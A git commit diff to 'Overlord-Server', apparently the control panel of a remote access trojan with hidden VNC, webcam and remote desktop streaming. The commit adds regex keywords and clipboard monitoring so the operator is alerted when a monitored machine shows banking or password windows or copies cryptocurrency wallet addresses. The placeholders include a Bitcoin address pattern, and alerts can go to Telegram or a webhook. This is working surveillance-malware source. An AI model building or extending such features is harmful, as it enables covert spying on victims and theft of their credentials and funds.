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add regex support and clipboard support to notification center

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This commit is contained in:
KingKDot
2026-03-18 23:46:44 -05:00
parent a73707c930
commit 6c7a71533c
15 changed files with 295 additions and 31 deletions
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Overlord-Server/public/assets/notifications.js
+14 -1
View File
@@ -15,6 +15,7 @@ const notificationScopeHint = document.getElementById("notification-scope-hint")
// Keyword section
const keywordSection = document.getElementById("keyword-section");
const keywordInput = document.getElementById("keyword-input");
const clipboardEnabledInput = document.getElementById("clipboard-enabled");
const saveKeywordsBtn = document.getElementById("save-keywords");
const keywordHint = document.getElementById("keyword-hint");
@@ -176,6 +177,10 @@ function wireToggle(inputEl, btnEl) {
// ── Notification table row ────────────────────────────────────────────────────
function renderRow(item, prepend = true) {
if (!listEl) return;
const isClipboard = item.category === "clipboard";
const sourceBadge = isClipboard
? `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-violet-900/60 text-violet-300 border border-violet-700/50"><i class="fa-solid fa-clipboard text-xs"></i> clipboard</span>`
: `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-blue-900/60 text-blue-300 border border-blue-700/50"><i class="fa-solid fa-desktop text-xs"></i> window</span>`;
const row = document.createElement("tr");
row.className = "border-t border-slate-800/60";
row.innerHTML = `
@@ -185,6 +190,7 @@ function renderRow(item, prepend = true) {
<td class="py-2 pr-4 max-w-xl truncate" title="${escapeHtml(item.title || "")}">${escapeHtml(item.title || "-")}</td>
<td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.process || "-")}</td>
<td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.keyword || "-")}</td>
<td class="py-2 pr-4 whitespace-nowrap">${sourceBadge}</td>
<td class="py-2 pr-4"><div class="preview-slot"></div></td>
`;
@@ -283,6 +289,9 @@ async function loadKeywords() {
const keywords = data?.notifications?.keywords || [];
keywordInput.value = keywords.join("\n");
renderKeywordHint(keywords.length);
if (clipboardEnabledInput) {
clipboardEnabledInput.checked = data?.notifications?.clipboardEnabled === true;
}
} catch {}
}
@@ -290,11 +299,12 @@ function wireKeywordSave() {
if (!saveKeywordsBtn || !keywordInput) return;
saveKeywordsBtn.addEventListener("click", async () => {
const keywords = parseKeywords(keywordInput.value);
const clipboardEnabled = clipboardEnabledInput ? clipboardEnabledInput.checked : false;
try {
const res = await fetch("/api/notifications/config", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ keywords }),
body: JSON.stringify({ keywords, clipboardEnabled }),
});
if (!res.ok) {
window.showToast?.("Failed to save keywords", "error", 4000);
@@ -304,6 +314,9 @@ function wireKeywordSave() {
const updated = data?.notifications?.keywords || keywords;
keywordInput.value = updated.join("\n");
renderKeywordHint(updated.length);
if (clipboardEnabledInput && typeof data?.notifications?.clipboardEnabled === "boolean") {
clipboardEnabledInput.checked = data.notifications.clipboardEnabled;
}
window.showToast?.("Keywords updated", "success", 3000);
} catch {
window.showToast?.("Failed to save keywords", "error", 4000);
Overlord-Server/public/notifications.html
+9 -4
View File
@@ -35,7 +35,7 @@
<div>
<h1 class="text-2xl font-semibold">Notifications</h1>
<p class="text-slate-400">
Active window alerts based on configured title keywords
Active window &amp; clipboard alerts based on configured keyword patterns
</p>
</div>
<div class="flex flex-wrap items-center gap-3">
@@ -55,7 +55,7 @@
<div>
<h2 class="text-lg font-semibold">Keyword Configuration</h2>
<p class="text-sm text-slate-400">
One keyword per line. Changes apply to connected agents immediately. (Shared global setting)
One keyword per line — plain substring or <code class="text-slate-300">/regex/i</code> syntax. Changes apply to connected agents immediately. (Shared global setting)
</p>
</div>
<button
@@ -69,9 +69,13 @@
<textarea
id="keyword-input"
rows="5"
placeholder="bank&#10;password&#10;admin"
placeholder="bank&#10;password&#10;admin&#10;/crypto|wallet/i&#10;/\b(bc1[a-z0-9]{39,59}|[13][a-km-zA-HJ-NP-Z1-9]{24,33})\b/"
class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500"
></textarea>
<label class="mt-3 inline-flex items-center gap-2 text-sm text-slate-300 cursor-pointer">
<input id="clipboard-enabled" type="checkbox" class="w-4 h-4 accent-emerald-500" />
Monitor clipboard content for keyword matches
</label>
<div class="mt-2 text-xs text-slate-500" id="keyword-hint"></div>
</div>
@@ -267,9 +271,10 @@
<th class="py-2 pr-4">Time</th>
<th class="py-2 pr-4">Client</th>
<th class="py-2 pr-4">User</th>
<th class="py-2 pr-4">Window Title</th>
<th class="py-2 pr-4">Title / Content</th>
<th class="py-2 pr-4">Process</th>
<th class="py-2 pr-4">Keyword</th>
<th class="py-2 pr-4">Source</th>
<th class="py-2 pr-4">Preview</th>
</tr>
</thead>
Overlord-Server/src/config.ts
+6
View File
@@ -39,6 +39,7 @@ export interface Config {
telegramEnabled: boolean;
telegramBotToken: string;
telegramChatId: string;
clipboardEnabled: boolean;
};
security: {
sessionTtlHours: number;
@@ -88,6 +89,7 @@ const DEFAULT_CONFIG: Config = {
telegramEnabled: false,
telegramBotToken: "",
telegramChatId: "",
clipboardEnabled: false,
},
security: {
sessionTtlHours: 168,
@@ -366,6 +368,10 @@ export function loadConfig(): Config {
process.env.OVERLORD_NOTIFICATION_TELEGRAM_CHAT_ID ||
fileConfig.notifications?.telegramChatId ||
DEFAULT_CONFIG.notifications.telegramChatId,
clipboardEnabled:
String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" ||
fileConfig.notifications?.clipboardEnabled ||
DEFAULT_CONFIG.notifications.clipboardEnabled,
},
security: {
sessionTtlHours:
Overlord-Server/src/protocol.ts
+2
View File
@@ -35,6 +35,7 @@ export type HelloAck = {
notification?: {
keywords: string[];
minIntervalMs?: number;
clipboardEnabled?: boolean;
};
};
export type Ping = { type: "ping"; ts?: number };
@@ -271,6 +272,7 @@ export type NotificationConfig = {
type: "notification_config";
keywords: string[];
minIntervalMs?: number;
clipboardEnabled?: boolean;
};
export type WireMessage =
Overlord-Server/src/server/routes/notifications-config-routes.ts
+35
View File
@@ -100,6 +100,35 @@ export async function handleNotificationsConfigRoutes(
.filter(Boolean)
.slice(0, 200);
for (const kw of keywords) {
if (kw.startsWith("/")) {
const lastSlash = kw.lastIndexOf("/", kw.length - 1);
if (lastSlash <= 0) {
return Response.json(
{ error: `Invalid regex keyword (missing closing /): ${kw}` },
{ status: 400 },
);
}
const pattern = kw.slice(1, lastSlash);
const flags = kw.slice(lastSlash + 1);
const invalidFlags = flags.replace(/[gimsuy]/g, "");
if (invalidFlags.length > 0) {
return Response.json(
{ error: `Invalid regex flags '${invalidFlags}' in keyword: ${kw}` },
{ status: 400 },
);
}
try {
new RegExp(pattern, flags);
} catch (e: any) {
return Response.json(
{ error: `Invalid regex in keyword '${kw}': ${e?.message ?? e}` },
{ status: 400 },
);
}
}
}
const webhookEnabled =
typeof body?.webhookEnabled === "boolean"
? body.webhookEnabled
@@ -120,6 +149,10 @@ export async function handleNotificationsConfigRoutes(
typeof body?.telegramChatId === "string"
? body.telegramChatId.trim()
: currentConfig.telegramChatId || "";
const clipboardEnabled =
typeof body?.clipboardEnabled === "boolean"
? body.clipboardEnabled
: currentConfig.clipboardEnabled || false;
if (webhookUrl) {
try {
@@ -142,6 +175,7 @@ export async function handleNotificationsConfigRoutes(
telegramEnabled,
telegramBotToken,
telegramChatId,
clipboardEnabled,
});
for (const client of clientManager.getAllClients().values()) {
@@ -152,6 +186,7 @@ export async function handleNotificationsConfigRoutes(
type: "notification_config",
keywords: updated.keywords || [],
minIntervalMs: updated.minIntervalMs || 8000,
clipboardEnabled: updated.clipboardEnabled || false,
}),
);
} catch {}
Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+2 -1
View File
@@ -31,7 +31,7 @@ type WsLifecycleDeps = {
rdStreamingState: Map<string, unknown>;
hvncStreamingState: Map<string, unknown>;
webcamStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number; clipboardEnabled?: boolean };
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
@@ -121,6 +121,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
notification: {
keywords: notificationConfig.keywords || [],
minIntervalMs: notificationConfig.minIntervalMs || 8000,
clipboardEnabled: notificationConfig.clipboardEnabled || false,
},
}),
);
Overlord-Server/src/server/ws-notifications-plugin.ts
+5 -3
View File
@@ -19,7 +19,7 @@ type NotificationRecord = {
processPath?: string;
pid?: number;
keyword?: string;
category: "active_window";
category: "active_window" | "clipboard";
ts: number;
screenshotId?: string;
};
@@ -210,7 +210,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
return;
}
const info = clientManager.getClient(clientId);
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} title=${title}`);
const category: "active_window" | "clipboard" =
payload.category === "clipboard" ? "clipboard" : "active_window";
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} category=${category} title=${title}`);
const record: NotificationRecord = {
id: uuidv4(),
clientId,
@@ -222,7 +224,7 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
processPath: typeof payload.processPath === "string" ? payload.processPath : "",
pid: Number(payload.pid) || undefined,
keyword,
category: "active_window",
category,
ts,
};